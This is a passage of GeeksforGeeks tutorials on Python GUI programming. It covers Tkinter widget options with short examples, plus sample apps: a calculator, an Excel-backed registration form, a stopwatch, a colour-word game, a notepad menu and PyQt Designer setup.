      redbutton.pack( side = LEFT)
      greenbutton = Button(frame, text = 'Brown', fg='brown')
      greenbutton.pack( side = LEFT )
      bluebutton = Button(frame, text ='Blue', fg ='blue')
      bluebutton.pack( side = LEFT )
      blackbutton = Button(bottomframe, text ='Black', fg ='black')
      blackbutton.pack( side = BOTTOM)
      root.mainloop()

      Output:

    6. Label: It refers to the display box where you can put any text or image which can be updated any time as per the code.
      The general syntax is:
      w=Label(master, option=value)
      master is the parameter used to represent the parent window.

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bg: to set he normal background color.
      • bg to set he normal background color.
      • command: to call a function.
      • font: to set the font on the button label.
      • image: to set the image on the button.
      • width: to set the width of the button.
      • height” to set the height of the button.




      from tkinter import *
      root = Tk()
      w = Label(root, text='GeeksForGeeks.org!')
      w.pack()
      root.mainloop()

      Output:

    7. Listbox: It offers a list to the user from which the user can accept any number of options.
      The general syntax is:
      w = Listbox(master, option=value)
      master is the parameter used to represent the parent window.

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • highlightcolor: To set the color of the focus highlight when widget has to be focused.
      • bg: to set he normal background color.
      • bd: to set the border width in pixels.
      • font: to set the font on the button label.
      • image: to set the image on the widget.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
        
      top = Tk()
      Lb = Listbox(top)
      Lb.insert(1, 'Python')
      Lb.insert(2, 'Java')
      Lb.insert(3, 'C++')
      Lb.insert(4, 'Any other')
      Lb.pack()
      top.mainloop()

      Output:

    8. MenuButton: It is a part of top-down menu which stays on the window all the time. Every menubutton has its own functionality. The general syntax is:
      w = MenuButton(master, option=value)
      master is the parameter used to represent the parent window.

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • activebackground: To set the background when mouse is over the widget.
      • activeforeground: To set the foreground when mouse is over the widget.
      • bg: to set he normal background color.
      • bd: to set the size of border around the indicator.
      • cursor: To appear the cursor when the mouse over the menubutton.
      • image: to set the image on the widget.
      • width: to set the width of the widget.
      • height: to set the height of the widget.
      • highlightcolor: To set the color of the focus highlight when widget has to be focused.




      from tkinter import *
        
      top = Tk()
      mb =  Menubutton ( top, text = &quot;GfG&quot;)
      mb.grid()
      mb.menu  =  Menu ( mb, tearoff = 0 )
      mb[&quot;menu&quot;]  =  mb.menu
      cVar  = IntVar()
      aVar = IntVar()
      mb.menu.add_checkbutton ( label ='Contact', variable = cVar )
      mb.menu.add_checkbutton ( label = 'About', variable = aVar )
      mb.pack()
      top.mainloop()

      Output:

    9. Menu: It is used to create all kinds of menus used by the application.
      The general syntax is:
      w = Menu(master, option=value)
      master is the parameter used to represent the parent window.

      There are number of options which are used to change the format of this widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • title: To set the title of the widget.
      • activebackground: to set the background color when widget is under the cursor.
      • activeforeground: to set the foreground color when widget is under the cursor.
      • bg: to set he normal background color.
      • command: to call a function.
      • font: to set the font on the button label.
      • image: to set the image on the widget.




      from tkinter import *
            
      root = Tk()
      menu = Menu(root)
      root.config(menu=menu)
      filemenu = Menu(menu)
      menu.add_cascade(label='File', menu=filemenu)
      filemenu.add_command(label='New')
      filemenu.add_command(label='Open...')
      filemenu.add_separator()
      filemenu.add_command(label='Exit', command=root.quit)
      helpmenu = Menu(menu)
      menu.add_cascade(label='Help', menu=helpmenu)
      helpmenu.add_command(label='About')
      mainloop()

      Output:

    10. Message: It refers to the multi-line and non-editable text. It works same as that of Label.
      The general syntax is:
      w = Message(master, option=value)
      master is the parameter used to represent the parent window.
      

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bd: to set the border around the indicator.
      • bg: to set he normal background color.
      • font: to set the font on the button label.
      • image: to set the image on the widget.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
      main = Tk()
      ourMessage ='This is our Message'
      messageVar = Message(main, text = ourMessage)
      messageVar.config(bg='lightgreen')
      messageVar.pack( )
      main.mainloop( )

      Output:

    11. RadioButton: It is used to offer multi-choice option to the user. It offers several options to the user and the user has to choose one option.
      The general syntax is:
      w = RadioButton(master, option=value)
      

      There are number of options which are used to change the format of this widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • activebackground: to set the background color when widget is under the cursor.
      • activeforeground: to set the foreground color when widget is under the cursor.
      • bg: to set he normal background color.
      • command: to call a function.
      • font: to set the font on the button label.
      • image: to set the image on the widget.
      • width: to set the width of the label in characters.
      • height: to set the height of the label in characters.




      from tkinter import *
      root = Tk()
      v = IntVar()
      Radiobutton(root, text='GfG', variable=v, value=1).pack(anchor=W)
      Radiobutton(root, text='MIT', variable=v, value=2).pack(anchor=W)
      mainloop()

      Output:

    12. Scale: It is used to provide a graphical slider that allows to select any value from that scale. The general syntax is:
      w = Scale(master, option=value)
      master is the parameter used to represent the parent window.
      

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • cursor: To change the cursor pattern when the mouse is over the widget.
      • activebackground: To set the background of the widget when mouse is over the widget.
      • bg: to set he normal background color.
      • orient: Set it to HORIZONTAL or VERTICAL according to the requirement.
      • from_: To set the value of one end of the scale range.
      • to: To set the value of the other end of the scale range.
      • image: to set the image on the widget.
      • width: to set the width of the widget.




      from tkinter import *
      master = Tk()
      w = Scale(master, from_=0, to=42)
      w.pack()
      w = Scale(master, from_=0, to=200, orient=HORIZONTAL)
      w.pack()
      mainloop()

      Output:

    13. Scrollbar: It refers to the slide controller which will be used to implement listed widgets.
      The general syntax is:
      w = Scrollbar(master, option=value)
      master is the parameter used to represent the parent window.
      

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • width: to set the width of the widget.
      • activebackground: To set the background when mouse is over the widget.
      • bg: to set he normal background color.
      • bd: to set the size of border around the indicator.
      • cursor: To appear the cursor when the mouse over the menubutton.




      from tkinter import *
      root = Tk()
      scrollbar = Scrollbar(root)
      scrollbar.pack( side = RIGHT, fill = Y )
      mylist = Listbox(root, yscrollcommand = scrollbar.set )
      for line in range(100):
         mylist.insert(END, 'This is line number' + str(line))
      mylist.pack( side = LEFT, fill = BOTH )
      scrollbar.config( command = mylist.yview )
      mainloop()

      Output:

    14. Text: To edit a multi-line text and format the way it has to be displayed.
      The general syntax is:
      w  =Text(master, option=value)
      

      There are number of options which are used to change the format of the text. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • highlightcolor: To set the color of the focus highlight when widget has to be focused.
      • insertbackground: To set the background of the widget.
      • bg: to set he normal background color.
      • font: to set the font on the button label.
      • image: to set the image on the widget.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
      root = Tk()
      T = Text(root, height=2, width=30)
      T.pack()
      T.insert(END, 'GeeksforGeeks\nBEST WEBSITE\n')
      mainloop()

      Output:

    15. TopLevel: This widget is directly controlled by the window manager. It don’t need any parent window to work on.The general syntax is:
      w = TopLevel(master, option=value)
      

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bg: to set he normal background color.
      • bd: to set the size of border around the indicator.
      • cursor: To appear the cursor when the mouse over the menubutton.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
      root = Tk()
      root.title('GfG')
      top = Toplevel()
      top.title('Python')
      top.mainloop()

      Output:

    16. SpinBox: It is an entry of ‘Entry’ widget. Here, value can be input by selecting a fixed value of numbers.The general syntax is:
      w = SpinBox(master, option=value)
      

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bg: to set he normal background color.
      • bd: to set the size of border around the indicator.
      • cursor: To appear the cursor when the mouse over the menubutton.
      • command: To call a function.
      • width: to set the width of the widget.
      • activebackground: To set the background when mouse is over the widget.
      • disabledbackground: To disable the background when mouse is over the widget.
      • from_: To set the value of one end of the range.
      • to: To set the value of the other end of the range.




      from tkinter import *
      master = Tk()
      w = Spinbox(master, from_ = 0, to = 10)
      w.pack()
      mainloop()

      Output:

    17. PannedWindowIt is a container widget which is used to handle number of panes arranged in it. The general syntax is:
      w = PannedWindow(master, option=value)
      

      master is the parameter used to represent the parent window.
      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bg: to set he normal background color.
      • bd: to set the size of border around the indicator.
      • cursor: To appear the cursor when the mouse over the menubutton.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
      m1 = PanedWindow()
      m1.pack(fill = BOTH, expand = 1)
      left = Entry(m1, bd = 5)
      m1.add(left)
      m2 = PanedWindow(m1, orient = VERTICAL)
      m1.add(m2)
      top = Scale( m2, orient = HORIZONTAL)
      m2.add(top)
      mainloop()

      Output:

    This article is contributed by Rishabh Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Python | Simple GUI calculator using Tkinter

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 30 Jun, 2021

    Prerequisite : Tkinter Introduction, lambda function 

    Python offers multiple options for developing a GUI (Graphical User Interface). Out of all the GUI methods, Tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with Tkinter outputs the fastest and easiest way to create GUI applications. Creating a GUI using Tkinter is an easy task.
     

    To create a Tkinter :
     

    1. Importing the module – tkinter
    2. Create the main window (container)
    3. Add any number of widgets to the main window
    4. Apply the event Trigger on the widgets.

    Below is what the GUI looks like:

    Let’s create a GUI based simple calculator using the Python Tkinter module, which can perform basic arithmetic operations addition, subtraction, multiplication, and division.

    Below is the implementation : 
     

    Python3




    # Python program to create a simple GUI
    # calculator using Tkinter
     
    # import everything from tkinter module
    from tkinter import *
     
    # globally declare the expression variable
    expression = ""
     
     
    # Function to update expression
    # in the text entry box
    def press(num):
        # point out the global expression variable
        global expression
     
        # concatenation of string
        expression = expression + str(num)
     
        # update the expression by using set method
        equation.set(expression)
     
     
    # Function to evaluate the final expression
    def equalpress():
        # Try and except statement is used
        # for handling the errors like zero
        # division error etc.
     
        # Put that code inside the try block
        # which may generate the error
        try:
     
            global expression
     
            # eval function evaluate the expression
            # and str function convert the result
            # into string
            total = str(eval(expression))
     
            equation.set(total)
     
            # initialize the expression variable
            # by empty string
            expression = ""
     
        # if error is generate then handle
        # by the except block
        except:
     
            equation.set(" error ")
            expression = ""
     
     
    # Function to clear the contents
    # of text entry box
    def clear():
        global expression
        expression = ""
        equation.set("")
     
     
    # Driver code
    if __name__ == "__main__":
        # create a GUI window
        gui = Tk()
     
        # set the background colour of GUI window
        gui.configure(background="light green")
     
        # set the title of GUI window
        gui.title("Simple Calculator")
     
        # set the configuration of GUI window
        gui.geometry("270x150")
     
        # StringVar() is the variable class
        # we create an instance of this class
        equation = StringVar()
     
        # create the text entry box for
        # showing the expression .
        expression_field = Entry(gui, textvariable=equation)
     
        # grid method is used for placing
        # the widgets at respective positions
        # in table like structure .
        expression_field.grid(columnspan=4, ipadx=70)
     
        # create a Buttons and place at a particular
        # location inside the root window .
        # when user press the button, the command or
        # function affiliated to that button is executed .
        button1 = Button(gui, text=' 1 ', fg='black', bg='red',
                        command=lambda: press(1), height=1, width=7)
        button1.grid(row=2, column=0)
     
        button2 = Button(gui, text=' 2 ', fg='black', bg='red',
                        command=lambda: press(2), height=1, width=7)
        button2.grid(row=2, column=1)
     
        button3 = Button(gui, text=' 3 ', fg='black', bg='red',
                        command=lambda: press(3), height=1, width=7)
        button3.grid(row=2, column=2)
     
        button4 = Button(gui, text=' 4 ', fg='black', bg='red',
                        command=lambda: press(4), height=1, width=7)
        button4.grid(row=3, column=0)
     
        button5 = Button(gui, text=' 5 ', fg='black', bg='red',
                        command=lambda: press(5), height=1, width=7)
        button5.grid(row=3, column=1)
     
        button6 = Button(gui, text=' 6 ', fg='black', bg='red',
                        command=lambda: press(6), height=1, width=7)
        button6.grid(row=3, column=2)
     
        button7 = Button(gui, text=' 7 ', fg='black', bg='red',
                        command=lambda: press(7), height=1, width=7)
        button7.grid(row=4, column=0)
     
        button8 = Button(gui, text=' 8 ', fg='black', bg='red',
                        command=lambda: press(8), height=1, width=7)
        button8.grid(row=4, column=1)
     
        button9 = Button(gui, text=' 9 ', fg='black', bg='red',
                        command=lambda: press(9), height=1, width=7)
        button9.grid(row=4, column=2)
     
        button0 = Button(gui, text=' 0 ', fg='black', bg='red',
                        command=lambda: press(0), height=1, width=7)
        button0.grid(row=5, column=0)
     
        plus = Button(gui, text=' + ', fg='black', bg='red',
                    command=lambda: press("+"), height=1, width=7)
        plus.grid(row=2, column=3)
     
        minus = Button(gui, text=' - ', fg='black', bg='red',
                    command=lambda: press("-"), height=1, width=7)
        minus.grid(row=3, column=3)
     
        multiply = Button(gui, text=' * ', fg='black', bg='red',
                        command=lambda: press("*"), height=1, width=7)
        multiply.grid(row=4, column=3)
     
        divide = Button(gui, text=' / ', fg='black', bg='red',
                        command=lambda: press("/"), height=1, width=7)
        divide.grid(row=5, column=3)
     
        equal = Button(gui, text=' = ', fg='black', bg='red',
                    command=equalpress, height=1, width=7)
        equal.grid(row=5, column=2)
     
        clear = Button(gui, text='Clear', fg='black', bg='red',
                    command=clear, height=1, width=7)
        clear.grid(row=5, column='1')
     
        Decimal= Button(gui, text='.', fg='black', bg='red',
                        command=lambda: press('.'), height=1, width=7)
        Decimal.grid(row=6, column=0)
        # start the GUI
        gui.mainloop()

    Output : 


    My Personal Notes arrow_drop_up

    Simple registration form using Python Tkinter

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 09 Sep, 2021

    Prerequisites: Tkinter Introduction, openpyxl module.
    Python provides the Tkinter toolkit to develop GUI applications. Now, it’s upto the imagination or necessity of developer, what he/she want to develop using this toolkit. Let’s make a simple information form GUI application using Tkinter. In this application, User has to fill up the required information, and that information is automatically written into an excel file.

    Firstly, create an empty excel file, after that pass an absolute path of the excel file in the program so that the program is able to access that excel file.

    Below is the implementation : 

    Python3




    # import openpyxl and tkinter modules
    from openpyxl import *
    from tkinter import *
     
    # globally declare wb and sheet variable
     
    # opening the existing excel file
    wb = load_workbook('C:\\Users\\Admin\\Desktop\\excel.xlsx')
     
    # create the sheet object
    sheet = wb.active
     
     
    def excel():
         
        # resize the width of columns in
        # excel spreadsheet
        sheet.column_dimensions['A'].width = 30
        sheet.column_dimensions['B'].width = 10
        sheet.column_dimensions['C'].width = 10
        sheet.column_dimensions['D'].width = 20
        sheet.column_dimensions['E'].width = 20
        sheet.column_dimensions['F'].width = 40
        sheet.column_dimensions['G'].width = 50
     
        # write given data to an excel spreadsheet
        # at particular location
        sheet.cell(row=1, column=1).value = "Name"
        sheet.cell(row=1, column=2).value = "Course"
        sheet.cell(row=1, column=3).value = "Semester"
        sheet.cell(row=1, column=4).value = "Form Number"
        sheet.cell(row=1, column=5).value = "Contact Number"
        sheet.cell(row=1, column=6).value = "Email id"
        sheet.cell(row=1, column=7).value = "Address"
     
     
    # Function to set focus (cursor)
    def focus1(event):
        # set focus on the course_field box
        course_field.focus_set()
     
     
    # Function to set focus
    def focus2(event):
        # set focus on the sem_field box
        sem_field.focus_set()
     
     
    # Function to set focus
    def focus3(event):
        # set focus on the form_no_field box
        form_no_field.focus_set()
     
     
    # Function to set focus
    def focus4(event):
        # set focus on the contact_no_field box
        contact_no_field.focus_set()
     
     
    # Function to set focus
    def focus5(event):
        # set focus on the email_id_field box
        email_id_field.focus_set()
     
     
    # Function to set focus
    def focus6(event):
        # set focus on the address_field box
        address_field.focus_set()
     
     
    # Function for clearing the
    # contents of text entry boxes
    def clear():
         
        # clear the content of text entry box
        name_field.delete(0, END)
        course_field.delete(0, END)
        sem_field.delete(0, END)
        form_no_field.delete(0, END)
        contact_no_field.delete(0, END)
        email_id_field.delete(0, END)
        address_field.delete(0, END)
     
     
    # Function to take data from GUI
    # window and write to an excel file
    def insert():
         
        # if user not fill any entry
        # then print "empty input"
        if (name_field.get() == "" and
            course_field.get() == "" and
            sem_field.get() == "" and
            form_no_field.get() == "" and
            contact_no_field.get() == "" and
            email_id_field.get() == "" and
            address_field.get() == ""):
                 
            print("empty input")
     
        else:
     
            # assigning the max row and max column
            # value upto which data is written
            # in an excel sheet to the variable
            current_row = sheet.max_row
            current_column = sheet.max_column
     
            # get method returns current text
            # as string which we write into
            # excel spreadsheet at particular location
            sheet.cell(row=current_row + 1, column=1).value = name_field.get()
            sheet.cell(row=current_row + 1, column=2).value = course_field.get()
            sheet.cell(row=current_row + 1, column=3).value = sem_field.get()
            sheet.cell(row=current_row + 1, column=4).value = form_no_field.get()
            sheet.cell(row=current_row + 1, column=5).value = contact_no_field.get()
            sheet.cell(row=current_row + 1, column=6).value = email_id_field.get()
            sheet.cell(row=current_row + 1, column=7).value = address_field.get()
     
            # save the file
            wb.save('C:\\Users\\Admin\\Desktop\\excel.xlsx')
     
            # set focus on the name_field box
            name_field.focus_set()
     
            # call the clear() function
            clear()
     
     
    # Driver code
    if __name__ == "__main__":
         
        # create a GUI window
        root = Tk()
     
        # set the background colour of GUI window
        root.configure(background='light green')
     
        # set the title of GUI window
        root.title("registration form")
     
        # set the configuration of GUI window
        root.geometry("500x300")
     
        excel()
     
        # create a Form label
        heading = Label(root, text="Form", bg="light green")
     
        # create a Name label
        name = Label(root, text="Name", bg="light green")
     
        # create a Course label
        course = Label(root, text="Course", bg="light green")
     
        # create a Semester label
        sem = Label(root, text="Semester", bg="light green")
     
        # create a Form No. label
        form_no = Label(root, text="Form No.", bg="light green")
     
        # create a Contact No. label
        contact_no = Label(root, text="Contact No.", bg="light green")
     
        # create a Email id label
        email_id = Label(root, text="Email id", bg="light green")
     
        # create a address label
        address = Label(root, text="Address", bg="light green")
     
        # grid method is used for placing
        # the widgets at respective positions
        # in table like structure .
        heading.grid(row=0, column=1)
        name.grid(row=1, column=0)
        course.grid(row=2, column=0)
        sem.grid(row=3, column=0)
        form_no.grid(row=4, column=0)
        contact_no.grid(row=5, column=0)
        email_id.grid(row=6, column=0)
        address.grid(row=7, column=0)
     
        # create a text entry box
        # for typing the information
        name_field = Entry(root)
        course_field = Entry(root)
        sem_field = Entry(root)
        form_no_field = Entry(root)
        contact_no_field = Entry(root)
        email_id_field = Entry(root)
        address_field = Entry(root)
     
        # bind method of widget is used for
        # the binding the function with the events
     
        # whenever the enter key is pressed
        # then call the focus1 function
        name_field.bind("<Return>", focus1)
     
        # whenever the enter key is pressed
        # then call the focus2 function
        course_field.bind("<Return>", focus2)
     
        # whenever the enter key is pressed
        # then call the focus3 function
        sem_field.bind("<Return>", focus3)
     
        # whenever the enter key is pressed
        # then call the focus4 function
        form_no_field.bind("<Return>", focus4)
     
        # whenever the enter key is pressed
        # then call the focus5 function
        contact_no_field.bind("<Return>", focus5)
     
        # whenever the enter key is pressed
        # then call the focus6 function
        email_id_field.bind("<Return>", focus6)
     
        # grid method is used for placing
        # the widgets at respective positions
        # in table like structure .
        name_field.grid(row=1, column=1, ipadx="100")
        course_field.grid(row=2, column=1, ipadx="100")
        sem_field.grid(row=3, column=1, ipadx="100")
        form_no_field.grid(row=4, column=1, ipadx="100")
        contact_no_field.grid(row=5, column=1, ipadx="100")
        email_id_field.grid(row=6, column=1, ipadx="100")
        address_field.grid(row=7, column=1, ipadx="100")
     
        # call excel function
        excel()
     
        # create a Submit Button and place into the root window
        submit = Button(root, text="Submit", fg="Black",
                                bg="Red", command=insert)
        submit.grid(row=8, column=1)
     
        # start the GUI
        root.mainloop()

    Output : 
     


     

     


    My Personal Notes arrow_drop_up

    Create a stopwatch using python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 12 Jul, 2021

    This article focus on creating a stopwatch using Tkinter in python 
    Tkinter : Tkinter is the standard GUI library for Python. Python when combined with Tkinter provides a fast and easy way to create GUI applications. Tkinter provides a powerful object-oriented interface to the Tk GUI toolkit. It’s very easy to get started with Tkinter, here are some sample codes to get your hands on Tkinter in python. 
     

    Python3




    # Python program to create a
    # a new window using Tkinter
    # importing the required libraries
    import tkinter
     
    # creating a object 'top' as instance of class Tk
    top = tkinter.Tk()
     
    # This will start the blank window
    top.mainloop()

    Output: 
     

     

    Creating Stopwatch using Tkinter

    Now lets try to create a program using Tkinter module to create a stopwatch. 
    A stopwatch is a handheld timepiece designed to measure the amount of time elapsed from a particular time when it is activated to the time when the piece is deactivated. A large digital version of a stopwatch designed for viewing at a distance, as in a sports stadium, is called a stop clock. In manual timing, the clock is started and stopped by a person pressing a button. In fully automatic time, both starting and stopping are triggered automatically, by sensors. 
    Required Modules: We are only going to use Tkinter for creating GUI and no other libraries will be used in this program.
    Source Code: 
     

    Python3




    # Python program to illustrate a stop watch
    # using Tkinter
    #importing the required libraries
    import tkinter as Tkinter
    from datetime import datetime
    counter = 66600
    running = False
    def counter_label(label):
        def count():
            if running:
                global counter
       
                # To manage the initial delay.
                if counter==66600:            
                    display="Starting..."
                else:
                    tt = datetime.fromtimestamp(counter)
                    string = tt.strftime("%H:%M:%S")
                    display=string
       
                label['text']=display   # Or label.config(text=display)
       
                # label.after(arg1, arg2) delays by 
                # first argument given in milliseconds
                # and then calls the function given as second argument.
                # Generally like here we need to call the 
                # function in which it is present repeatedly.
                # Delays by 1000ms=1 seconds and call count again.
                label.after(1000, count) 
                counter += 1
       
        # Triggering the start of the counter.
        count()     
       
    # start function of the stopwatch
    def Start(label):
        global running
        running=True
        counter_label(label)
        start['state']='disabled'
        stop['state']='normal'
        reset['state']='normal'
       
    # Stop function of the stopwatch
    def Stop():
        global running
        start['state']='normal'
        stop['state']='disabled'
        reset['state']='normal'
        running = False
       
    # Reset function of the stopwatch
    def Reset(label):
        global counter
        counter=66600
       
        # If rest is pressed after pressing stop.
        if running==False:      
            reset['state']='disabled'
            label['text']='Welcome!'
       
        # If reset is pressed while the stopwatch is running.
        else:               
            label['text']='Starting...'
       
    root = Tkinter.Tk()
    root.title("Stopwatch")
       
    # Fixing the window size.
    root.minsize(width=250, height=70)
    label = Tkinter.Label(root, text="Welcome!", fg="black", font="Verdana 30 bold")
    label.pack()
    f = Tkinter.Frame(root)
    start = Tkinter.Button(f, text='Start', width=6, command=lambda:Start(label))
    stop = Tkinter.Button(f, text='Stop',width=6,state='disabled', command=Stop)
    reset = Tkinter.Button(f, text='Reset',width=6, state='disabled', command=lambda:Reset(label))
    f.pack(anchor = 'center',pady=5)
    start.pack(side="left")
    stop.pack(side ="left")
    reset.pack(side="left")
    root.mainloop()

    Output: 
     

     

     

    This article is contributed by Subhajit Saha. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Designing GUI applications Using PyQt in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 07 Sep, 2021

    Building GUI applications using the PYQT designer tool is comparatively less time-consuming than code the widgets. It is one of the fastest and easiest ways to create GUIs. 

    The normal approach is to write the code even for the widgets and for the functionalities as well. But using Qt-designer, one can simply drag and drop the widgets, which comes very useful while developing big-scale applications. 

    Installation of PyQt5 : 

     sudo apt-get install python3-pyqt5
     pip install pyqt5
     pip install pyqt5-tools 

    Let’s create a signup form using the QT designer tool. No code is required for creating forms, buttons, text boxes, etc! It is a rather drag and drops environment. So, using PyQt is a lot simpler than Tkinter. 

    QT Designer will be located at MyPythonInstallationDir\Lib\site-packages\pyqt5-tools and is named designer.exe (on Windows OS). 
    Open Qt Designer, then select Main Window and click Create. Set your preferred size of the window by dragging the edges of the window. 

    To create the layout of the Signup form, the following widgets are needed : 

    1. Three text edit boxes.
    2. One button.
    3. Four Text Labels (SignId Banner, UserName label, Password and Confirm Password label).

    One has to find those widgets in Widget Tool Box. Just drag and drop the required widgets onto the Main Window or the window working on.  

    To change the appearance of the window or the widget, just right click on the widget and click Change StyleSheet.  

    To get a preview of the window, press Ctrl + R. 

    Save the file : 
    The file will be saved with the .ui extension. To convert this file (.ui extension) to a Python file (.py extension), follow these steps :  

    1. Open the terminal and navigate to the folder where the layout.UI file is present.
    2. To convert into a Python file, type pyuic5 -x layout.ui -o layout.py on a terminal.
    3. Run layout.py using python!

     

    My Personal Notes arrow_drop_up

    Color game using Tkinter in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Basic
    • Last Updated : 16 Jul, 2020

    Prerequisite : Python GUI Tkinter

    TKinter is widely used for developing GUI applications. Along with applications, we can also use Tkinter GUI to develop games.

    Let’s try to make a game using Tkinter. In this game player has to enter color of the word that appears on the screen and hence the score increases by one, the total time to play this game is 30 seconds. Colors used in this game are Red, Blue, Green, Pink, Black, Yellow, Orange, White, Purple and Brown. Interface will display name of different colors in different colors. Player has to identify the color and enter the correct color name to win the game.
     
    Below is the implementation of above game :




    # import the modules 
    import tkinter
    import random
      
    # list of possible colour.
    colours = ['Red','Blue','Green','Pink','Black',
               'Yellow','Orange','White','Purple','Brown']
    score = 0
      
    # the game time left, initially 30 seconds.
    timeleft = 30
      
    # function that will start the game.
    def startGame(event):
          
        if timeleft == 30:
              
            # start the countdown timer.
            countdown()
              
        # run the function to
        # choose the next colour.
        nextColour()
      
    # Function to choose and
    # display the next colour.
    def nextColour():
      
        # use the globally declared 'score'
        # and 'play' variables above.
        global score
        global timeleft
      
        # if a game is currently in play
        if timeleft > 0:
      
            # make the text entry box active.
            e.focus_set()
      
            # if the colour typed is equal
            # to the colour of the text
            if e.get().lower() == colours[1].lower():
                  
                score += 1
      
            # clear the text entry box.
            e.delete(0, tkinter.END)
              
            random.shuffle(colours)
              
            # change the colour to type, by changing the
            # text _and_ the colour to a random colour value
            label.config(fg = str(colours[1]), text = str(colours[0]))
              
            # update the score.
            scoreLabel.config(text = "Score: " + str(score))
      
      
    # Countdown timer function 
    def countdown():
      
        global timeleft
      
        # if a game is in play
        if timeleft > 0:
      
            # decrement the timer.
            timeleft -= 1
              
            # update the time left label
            timeLabel.config(text = "Time left: "
                                   + str(timeleft))
                                     
            # run the function again after 1 second.
            timeLabel.after(1000, countdown)
      
      
    # Driver Code
      
    # create a GUI window
    root = tkinter.Tk()
      
    # set the title
    root.title("COLORGAME")
      
    # set the size
    root.geometry("375x200")
      
    # add an instructions label
    instructions = tkinter.Label(root, text = "Type in the colour"
                            "of the words, and not the word text!",
                                          font = ('Helvetica', 12))
    instructions.pack() 
      
    # add a score label
    scoreLabel = tkinter.Label(root, text = "Press enter to start",
                                          font = ('Helvetica', 12))
    scoreLabel.pack()
      
    # add a time left label
    timeLabel = tkinter.Label(root, text = "Time left: " +
                  str(timeleft), font = ('Helvetica', 12))
                    
    timeLabel.pack()
      
    # add a label for displaying the colours
    label = tkinter.Label(root, font = ('Helvetica', 60))
    label.pack()
      
    # add a text entry box for
    # typing in colours
    e = tkinter.Entry(root)
      
    # run the 'startGame' function 
    # when the enter key is pressed
    root.bind('<Return>', startGame)
    e.pack()
      
    # set focus on the entry box
    e.focus_set()
      
    # start the GUI
    root.mainloop()

    Output :

    Note : Above code may not run on online IDE because of TKinter module.


    My Personal Notes arrow_drop_up

    Make Notepad using Tkinter

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 07 Sep, 2021

    Let’s see how to create a simple notepad in Python using Tkinter. This notepad GUI will consist of various menu like file and edit, using which all functionalities like saving the file, opening a file, editing, cut and paste can be done.

    Now for creating this notepad, Python 3 and Tkinter should already be installed in your system. You can download suitable python package as per system requirement. After you have successfully installed python you need to install Tkinter (a Python’s GUI package).

    Use this command to install Tkinter : 

    pip install python-tk

    Importing Tkinter :

    Python




    import tkinter
    import os
    from tkinter import *
     
    # To get the space above for message
    from tkinter.messagebox import *
     
    # To get the dialog box to open when required
    from tkinter.filedialog import *

    Note : messagebox is used to write the message in the white box called notepad and filedialog is used for the dialog box to appear when you are opening file from anywhere in your system or saving your file in a particular position or place. 
      
    Adding Menu :

    Python




    # Add controls(widget)
     
    self.__thisTextArea.grid(sticky = N + E + S + W)
     
    # To open new file
    self.__thisFileMenu.add_command(label = "New",
                                    command = self.__newFile)
     
    # To open a already existing file
    self.__thisFileMenu.add_command(label = "Open",
                                    command = self.__openFile)
     
    # To save current file
    self.__thisFileMenu.add_command(label = "Save",
                                    command = self.__saveFile)
     
    # To create a line in the dialog
    self.__thisFileMenu.add_separator()
     
    # To terminate
    self.__thisFileMenu.add_command(label = "Exit",
                                    command = self.__quitApplication)
    self.__thisMenuBar.add_cascade(label = "File",
                                   menu = self.__thisFileMenu)
     
    # To give a feature of cut
    self.__thisEditMenu.add_command(label = "Cut",
                                    command = self.__cut)
     
    # To give a feature of copy
    self.__thisEditMenu.add_command(label = "Copy",
                                    command = self.__copy)
     
    # To give a feature of paste
    self.__thisEditMenu.add_command(label = "Paste",
                                    command = self.__paste)
     
    # To give a feature of editing
    self.__thisMenuBar.add_cascade(label = "Edit",
                                   menu = self.__thisEditMenu)
     
    # To create a feature of description of the notepad
    self.__thisHelpMenu.add_command(label = "About Notepad",
                                    command = self.__showAbout)
    self.__thisMenuBar.add_cascade(label = "Help",
                                   menu = self.__thisHelpMenu)
     
    self.__root.config(menu = self.__thisMenuBar)
     
    self.__thisScrollBar.pack(side = RIGHT, fill = Y)
     
    # Scrollbar will adjust automatically
    # according to the content
    self.__thisScrollBar.config(command = self.__thisTextArea.yview)
